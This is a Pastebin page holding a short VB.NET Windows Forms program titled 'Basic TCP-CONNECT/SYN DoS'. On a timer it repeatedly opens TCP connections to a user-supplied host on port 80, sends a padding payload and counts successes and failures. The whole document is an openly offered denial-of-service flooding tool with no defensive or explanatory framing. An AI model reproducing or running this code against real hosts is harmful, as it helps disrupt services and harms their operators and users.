betrayed

Basic TCP-CONNECT/SYN DoS | VB.NET

Oct 21st, 2020
712
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Imports System.Net.Sockets
  2. Imports System.Net
  3. Imports System.Text
  4.  
  5. Public Class Form1
  6.     Private Sub btnStart_Click(sender As Object, e As EventArgs) Handles btnStart.Click
  7.         Dim data As String = String.Empty
  8.         For i As Integer = 1 To txtPacket.Text
  9.             data &= "$"
  10.         Next
  11.         lblBuffer.Text = data.ToString
  12.         tmrFlood.Start()
  13.     End Sub
  14.  
  15.     Private Sub tmrFlood_Tick(sender As Object, e As EventArgs) Handles tmrFlood.Tick
  16.         Try
  17.             Dim portnum As String = 80
  18.             Dim socket = New System.Net.Sockets.Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
  19.             Dim pEndPoint = New IPEndPoint(IPAddress.Parse(txtHost.Text), Convert.ToInt32(portnum.ToString))
  20.             Dim payload As Byte() = Encoding.ASCII.GetBytes(lblBuffer.Text)
  21.             socket.Connect(pEndPoint)
  22.             socket.Send(payload)
  23.             socket.Close()
  24.             'Application.DoEvents()
  25.             lblSent.Text = lblSent.Text + 1
  26.         Catch ex As Exception
  27.             lblFail.Text = lblFail.Text + 1
  28.         End Try
  29.     End Sub
  30.  
  31.     Private Sub btnStop_Click(sender As Object, e As EventArgs) Handles btnStop.Click
  32.         tmrFlood.Stop()
  33.     End Sub
  34. End Class
  35.  
RAW Paste Data